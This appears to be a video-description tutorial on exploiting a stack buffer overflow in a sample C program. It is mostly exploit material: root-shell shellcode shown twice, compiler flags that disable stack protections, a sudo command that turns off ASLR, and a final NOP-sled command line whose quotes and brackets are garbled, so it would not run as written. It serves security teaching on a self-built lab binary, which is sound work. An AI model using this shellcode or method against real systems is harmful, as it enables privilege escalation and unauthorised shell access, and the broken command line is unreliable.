This tutorial goes over the basic technique of how to exploit a buffer overflow vulnerability with an example. This tutorial assumes that you already have: basic C knowledge, gdb, gcc and how programs represent memory. The source code for the program can be downloaded at [https://drive.google.com/file/d/0B8b0...](https://www.youtube.com/redirect?event=video_description&q=https%3A%2F%2Fdrive.google.com%2Ffile%2Fd%2F0B8b0M2LATseXYWRiVHdkaGhwRjg%2Fview%3Fusp%3Dsharing&redir_token=z6CtVsl0Xb6ovnOZOjW4ziR5v7p8MTU0MDg4ODAyN0AxNTQwODAxNjI3&v=hJ8IwyhqzD4)

The 46 byte shellcode used in this program is

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

The compiling line is gcc -o example -fno-stack-protector -m32 -z execstack example.c -fno-stack-protector === Removes the canary value at the end of the buffer -m32 === Sets the program to compile into a 32 bit program -z execstack === Makes the stack executable NOTE: If this tutorial is not working it is likely that you have aslr enabled. To disable it run the following command in your terminal echo 0 | sudo tee /proc/sys/kernel/randomize\_va\_space When you are finished I strongly recommend you turn it back on with the command echo 2 | sudo tee /proc/sys/kernel/randomize\_va\_space

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

./example $(python -c "print('\x90'\*222 +'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+’\xd0\xce\xff\xff’}”)